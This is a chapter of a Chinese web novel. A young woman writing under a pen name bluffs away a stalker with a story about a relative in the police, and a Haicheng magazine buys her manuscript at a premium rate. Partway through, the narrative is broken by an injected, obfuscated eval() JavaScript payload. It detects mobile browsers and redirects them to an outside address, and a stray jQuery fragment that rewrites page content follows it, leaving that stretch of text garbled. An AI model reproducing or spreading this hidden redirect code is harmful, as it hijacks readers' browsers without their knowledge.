投稿后的第一天，程锦年起了个大早。她躺在床上，把昨晚巷口那个影子又在脑子里过了一遍，瘦长，微微佝偻，路灯下拖出一道暗灰色的轮廓，那脚步声她记得清清楚楚。
发现了问题就要及时想办法解决，她翻身起来穿好衣服，从抽屉里掏出仅剩的几块银元，揣进兜里。
程锦云已经起了，正在灶房烧水。程锦年走到灶房门口：“云姐，咱们租的毕竟是周太太家的房子，换锁我想着还是跟房东说一声才好，我去找周太太，你在家等我。”
程锦云擦了擦手：“我跟你一起去吧？你一个人去，我不放心。”
“不用，周太太那儿不远，我去去就回。你在家看着，别让生人在门口转悠。”程锦年说完，推门出去了。
她先去街口的糕点铺，买了两块桂花糕，用油纸包好。
上次租房子时周太太随口提过，来了海城这么多年再没吃过家乡的桂花糕，家里就她一个人爱吃甜的，平时也不好意思专门去买，程锦年立刻就记在心里。
沿着巷子走了十来分钟，到了周太太家的小楼。周太太已经起了，穿着一件素净的灰布褂子，头发用发夹别得整整齐齐，正坐在堂屋里喝茶。
看见程锦年来了，放下茶杯，脸上带着笑：“哟，锦年来啦？吃了吗？”
“吃过了，太太。”程锦年把纸包递过去，“上次听您说起苏州的桂花糕，今早路过糕点铺，想着给您带两块尝尝，您看像不像家乡的味道。”
周太太接过纸包，打开一看，拈起一块咬了一口，嚼得很慢。嚼完了没说话，又咬了一口，这才拍了拍手上的碎屑，声音比平时轻了些：“像，真像，你这孩子，怎么还记得这事？”
“您随口说的，我顺手记下了。”程锦年笑了笑，在周太太旁边坐下，“主要还是想感谢您对我们的照顾，租房子的时候您就帮了大忙，平时也没少惦记我们。”
周太太摆了摆手，眼睛却一直看着手里的桂花糕，又咬了一口，像是舍不得吃完。
她把纸包仔细包好放在桌上，拉着程锦年的手，叹了口气：“你这孩子，就是太懂事。说吧，今天来是不是有什么事？”
程锦年也不绕弯子：“太太，我想把院门和厨房门都加一把锁，窗户也再加固一下。”
周太太愣了一下，放下茶杯，仔细看了她一眼：“怎么突然想起来加锁？是门坏了还是？”
程锦年犹豫了一下，没瞒着：“太太，我跟您说实话。昨儿晚上从外面回来，巷子里有人跟着我。没看清是谁，但脚步声一直跟在后面，我绕了两条街才甩掉。我们两个姑娘住，心里不踏实。”
周太太脸色一变，眉头皱了起来：“有人跟着你？这还了得。”她沉默了一会儿，拍了拍桌子，“锁你别管了，我让人去给你换。锁匠我认得，手艺好，价钱也公道。钱我来出，算在我账上。”
程锦年连忙摆手：“太太，这怎么好意思，我们自己来就行。”
“你们俩个姑娘家，手头又不宽裕，别跟我争这个。”周太太的语气不容商量，“这房子是我的，租给你们了，安全就得我负责。要是真出了事，我这心里能过得去吗？”
程锦年还想再推，周太太已经站起来，走到电话机旁，摇了个号，跟那头说了几句。挂了电话，她走回来拍了拍程锦年的手：“行了，锁匠下午过去，你别再推了。”
程锦年张了张嘴，最终没再说什么，只是低下头，声音放得很轻：“太太，谢谢您。”
“谢什么，都是缘分。”周太太摆了摆手，又拉着她坐下喝茶，聊了几句家常，才放她走。
回到家，程锦云正在院子里扫地。程锦年把换锁的事跟她说了，末了补了一句：“周太太出的钱，我推都推不掉。”
程锦云沉默了一会儿，低声说：“周太太人真好，咱以后得记着人家的情。”
下午，锁匠来了，这是个四十来岁的汉子，手上全是老茧，肩上挎着工具包。
他在院子里转了一圈，把门窗检查了一遍，院门换了新锁，厨房门加了一道，窗户钉上了插销。
程锦云试了试，开合顺滑，锁舌咬得死死的。她把钥匙拔下来，递给程锦年一把，自己留了一把。
随后，姐妹俩把这几天的经过从头到尾捋了一遍。
“云姐，你觉着那人跟了我几天了？”程锦年先开了口。
程锦云想了想：“你说昨天才发现，可之前你有没有觉得不对劲？”
“买文具那天，从文宝斋出来，好像有人多看了我几眼。但街上人多，我没在意。”程锦年掰着手指头，“后来去邮局、去旧书摊，都没什么异常。真正觉得被人跟着，是昨天从杂货铺出来。”
“那……他到底想干嘛？”
“没上来抢，不是劫道的，一直跟在后面，是想看我往哪儿走。我拐进杂货铺甩掉之后，他没再追，说明不是冲着伤人来的。”程锦年一条一条地列，“最大的可能，是踩点的。”
“踩点？偷东西？”程锦云紧张地攥紧了围裙角，“可咱们也没什么值钱的啊……”
“咱们是没有，可他不知道。”程锦年沉默了一会儿，“云姐，你再想想，这几天咱俩干了什么跟平时不一样的事？”
程锦云想了半天，摇了摇头：“没有啊，买菜、做饭、洗衣服，连门都很少出。”
“那你出去买菜，有没有跟人聊过咱们家的事？”
“没有，我都不敢多说话，生怕说漏嘴。”
“我也没跟人说过。”程锦年皱了皱眉，“那他是怎么盯上咱们的？”
灶火噼啪响了一声，两个人沉默了一会儿，程锦年忽然抬起头：“云姐，你说……会不会是因为我买文具那天？”
“买文具？”程锦云没反应过来。
“那天我从文宝斋出来，怀里抱着稿纸、墨水、钢笔。”程锦年把声音压低了，“这些东西在乡下人眼里不算什么，但在城里，普通人家也不会随便买。一个十六岁的姑娘，身上带着笔墨纸砚，一看就是读过书的。读得起书的人家，至少不是吃了上顿没下顿的。”
程锦云慢慢张大了嘴：“你的意思是……他觉得咱家有钱？”
“不是真有钱，是觉得有闲钱。”程锦年纠正道，“买笔墨纸砚的人，至少不是吃了上顿愁下顿的。他可能就想，这姑娘住在这附近，家里应该有点家底。”
程锦云的脸色发白：“那……那怎么办？”
“别慌。”程锦年按住她的手，“他还没跟到家门口，说明还不知道咱们具体住哪儿。这几天你别出门买菜了，家里还有存粮，够吃几天，我出去想办法。”
“你出去？”程锦云的声音一下子拔高了，“那人跟着的就是你，你还出去？”
“我不出去，怎么知道是谁？”
“那也不行，一个人出去跟两个人出去比，哪个更安全？我要跟你一起。就算他急了，咱们也有个照应。”
程锦年看着她，觉得有道理，本来想着程锦云胆小，怕她拖后腿，所以没提，没想到她在这种情况下，会如此担心自己的安危:“好，云姐，你跟我一起。”
程锦云深吸了一口气：“行。”
随后，姐妹俩锁好门窗往外走。程锦年走在外侧，程锦云走在里侧，两人有一搭没一搭地说话，余光却一直扫着身后。
头两天什么也没发现。
第三天傍晚，两人从杂货铺出来，拐进一条窄巷子的时候，程锦年余光扫到身后不远处的街角，一个穿深色短褂的男人正假装低头看报纸。那张报纸他拿反了，长相就是程锦年印象中的那个跟踪者。
程锦年没回头，继续往前走，挽着程锦云的手紧了一下。程锦云立刻明白，收住脚步，假装蹲下来系鞋带，蹲下去的时候朝后面瞥了一眼，又站起来，若无其事地跟上。
两人走到报摊前停下来，老王认得她们，之前还跟自己答应过租房消息。他正要招呼，程锦年先开了口，声音不大不小：“王伯，这几天生意怎么样？”
老王叹了口气：“就那样，不好不坏，糊口呗。你们小姑娘家不知道，这年头做生意不容易，还不如有个稳定差事。”
“可不是嘛。”程锦年顺着话头接过去，“我舅舅在巡捕房当差，好歹每个月有固定进项，不用看天吃饭。就是忙，整天不着家。”
老王来了兴趣，连忙问：“你舅舅在巡捕房当差？那可是好差事。”
“好什么呀，忙起来连轴转，家里都顾不上。”程锦年叹了口气，就好像真的有这回事一样，“前几天他儿子过生日，我想着给孩子买份礼物鼓励他好好念书，就去了趟文宝斋，买了笔墨纸砚，花了不少钱。
本想着做长辈的不能省这个钱，结果这一花，手头就紧了，现在都没有余钱了，我还发愁这个月怎么过呢。还是因为舅舅平时对我们够照顾的，这钱省不掉，该花还是得花。”
老王感慨地点了点头：“你们知恩图报，不容易。”
程锦年笑了笑，又聊了几句家常。她一边说话，一边借着整理头发的动作，偏头往后看了一眼。那个跟着她们的人影还在，没有挪动。
“王伯，明早我还得去邮局寄封信，先回去了，您忙着。”
两人挽着胳膊转身往回走，程锦年没有回头，步子稳稳当当。
那个穿深色短褂的男人蹲在墙角，把刚才的话听得清清楚楚。巡捕房的舅舅，给外甥买笔墨纸砚当生日礼物，花了不少钱，手头紧了。
他本来想，这姑娘怀里抱着文房四宝，家里应该有点底子，跟了几天，还没下手呢，谁知道人家有个在巡捕房当差的亲戚。
有这层关系在，万一偷了被查出来，不是闹着玩的。而且听那意思，钱都买了礼物了，家里也没什么油水。
想到对方那普通的衣着，这几天看着也确实没有买过什么东西了，他盯着那两个挽着胳膊的背影看了一会儿，想着真晦气，没遇见肥羊，站起来拍了拍裤子上的灰，转身走了。
程锦云走出一段路，小声问：“还在吗？”
程锦年没回头，声音压得很低：“不知道，别回头，我们绕个路。”
两人绕弯子之后快步走回家，关上门，插上门闩。
程锦云靠在门板上长长地呼了一口气，程锦年走到窗前，掀开窗帘一角往外看了一眼，巷口空空荡荡。
这几天去杂货铺的时候，程锦年一直关心有没有回信，现在松了口气，她才有心思抽出来拆开。
打开一看，里面是《晨星报》的退稿，只有一张纸条：“来稿已阅，不适合本刊，谢谢。”连稿子都没附，她把纸条折好塞进抽屉。
还好，最起码其他家的反馈没来，不是全军覆没，程锦年只能这么安慰自己了。
接下来几天，那人再没出现过。程锦年又留心观察了几日，确认危机过去了。
而其他的回信，也都陆陆续续地到了。《大华日报》的回信说可以刊发，稿酬每千字五角。她把信收起来，这家可以考虑当保底。
另一封是《通俗文苑》的，只有半页纸：“……稿子留下，本刊安排编辑润色修改，署名用本刊一位前辈的名字，稿酬分你两成。”程锦年看完把信揉成一团，想了想又捡起来展平，折好放进去。不是要答应，是留下笔迹，避免后续被此人蒙骗了稿子。
《通俗小说杂志》的措辞热情，千字一元，比她预期的低，但总算是个正经录用。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587581|205354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
《远东文艺》的退稿信纸烫金，措辞客气得不像退稿，其实就是“我们不要”。
《文汇周报》的约稿信，千字一块五，是目前最高的。
还剩一家没回音，程锦年想知道那家没回音的到底能给什么价，决心再等一两天，要是还不回信，她就先答应出价最高的那一家。
等待的日子里，她没有干等，已经动笔开始琢磨起第二篇的大纲，尽量避免重复，先摸清市场口味和接受度再说，所以她打算换个爽文题材试一试。
她不知道的是，她的稿子正压在《海城小说月报社》编辑部柜子最底层的一沓来稿里。不是编辑故意压稿，是来稿太多了，老作者连载、特约专栏排着队等着发。新人的稿子，连拆封的优先级都排不上。
老周是在一个下雨的傍晚拆到《无名》的。那天编辑部没什么事，他把柜子里那沓积压的来稿搬到桌上，一份一份拆。大部分稿子扫一眼开头就知道水平，才子佳人，公子落难，翻来覆去就那几个花样。他机械地拆着，眼皮越来越沉。
拆到一份信封的时候，他没抱什么期待。信封上写着“林间月”，陌生笔名。他抽出稿纸，标题是《无名》。
老周有气无力地开始读，读到“阿蘅第一次写故事的时候”，他把稿纸凑近了看。读到第三次预言，他整个人僵住了，手里那几页纸微微发颤。他读了两遍，把稿纸小心翼翼地折好塞进贴身衣兜，拿起伞出了门。他没有回家，直接去了总编陈伯言家。
陈伯言正在吃晚饭，看到老周浑身湿透地站在门口，愣了一下。老周从衣兜里掏出那几页稿纸递过去，纸页被雨水洇湿了边角，但字迹清清楚楚。陈伯言接过去，站在玄关就着昏黄的灯泡读了起来。读完第三页，他转身走进了书房，把老周一个人晾在外面。
老周站在客厅等了大约一盏茶的工夫。陈伯言走出来，手里还捏着那几页稿纸，脸上的表情老周从来没见过。他问老周：“这个林间月，是谁？”
老周说不知道，投稿地址是邮政信箱，没见过人。陈伯言沉默了很久，最后说：“明天一早开会，这篇稿子，咱们要定了。”
次日，老周把《无名》的稿子传给在座的每一个人。办公室里安静了片刻，只有纸张翻动的沙沙声。
老孙第一个开口，推了推眼镜：“从文笔和结构看，乙等往上，甲等够不上。毕竟是新人，没名没姓的，新人价历来一块到两块，给乙等三块已经够意思了。甲等从来都是留给那几个老作者的，这是规矩。”
小赵不同意：“规矩是死的，稿子是活的，那几个老作者最近交上来的东西，有哪篇能让人一口气读完不撒手？”
老周没急着表态，从兜里摸出一根烟点上：“我干了二十年编辑，经手的稿子少说也有几千篇。名家的、新人的、凑数的、惊艳的，都见过。这篇东西……”他吸了一口烟，慢慢吐出来，“放在新人堆里，是独一份，不是文笔多么出色，是从未见过的反转，很新奇。”
老孙还想说什么，老周抬手打断了他，翻开稿纸的最后一页，指着一行字：“你们看看这里。”
所有人都凑过去看。那一行写着，余稿留存，稿费到后即寄。
社长孟鹤亭原本靠在椅子上闭目养神，听到这话睁开眼。
老周把稿纸递过去，他接过来看了几秒，忽然笑了：“只给三分之一，余稿等钱到了再给。地址留的是代收点，稿费要存局候领。一个新人，还没见过编辑的面，就知道给自己留后路。”
他把稿纸往桌上一拍，声音不大，但整个办公室都安静了。
“甲等。”他说，“千字四块，先留住这篇再说。”
老孙张了张嘴：“社长，这……”
孟鹤亭看了他一眼：“老孙，我知道你想说什么。规矩是给普通稿子定的，这篇不普通。今年我们发了那么多老作者的稿子，有几篇能让人拍着桌子说‘要定了’？”
他顿了顿，“再说，一个新人能写出这样的东西，还知道保护自己，将来不是池中物。现在不结这个善缘，等他成名了再去找他？反正真要是下篇不好，那就不采纳，咱们就只付了这一篇的高价稿费，也不算什么。
连编辑都觉得少见的内容，印出来，读者只会觉得更罕见，这篇能带给报社的利益，是大于稿费的。”
社长既然都这样说了，其他人自然没有意见。
没多久，程锦年照例去取信，看到信封上印着“海城小说月报社”的字样，心跳快了一拍。她没当场拆，攥着信封快步走回家。
抽出信纸，字迹工整有力，没有客套话，直奔主题。
“林间月先生：来稿《无名》已拜读，编辑部同仁传阅之后，一致认为此文悬念设置精妙、层层递进、直指人心。本刊愿意刊发，破例稿酬按甲等计算，每千字四块银元。按您的要求，先发三分之一，余稿请于收到汇款后寄来。”
信的末尾附了一行小字：“社长孟鹤亭先生嘱托：一个新人能写出这样的东西，将来必然成就非凡。先生提出的存局候领、余稿后寄等条件，本刊一律照办。稿费即日汇出，请查收。”
程锦年把这封信读了两遍，她把信纸放在膝盖上，盯着那行“每千字四块银元”看了好几秒。
五千字，二十块，加上手里剩下的几块，至少下个月的房租不用发愁了。
她长长地呼了一口气，攥着信纸的手指微微发抖。
她不需要挑了，就是这家。至于那些报刊动不动称呼她为某某先生，恐怕是因为不知道这是女性所写。
不过没关系，她有她的计划，现在不是正式暴露身份的时候，毕竟一个成年男性和一个少女所得到的对待，肯定是不平等的，先占够便宜再说。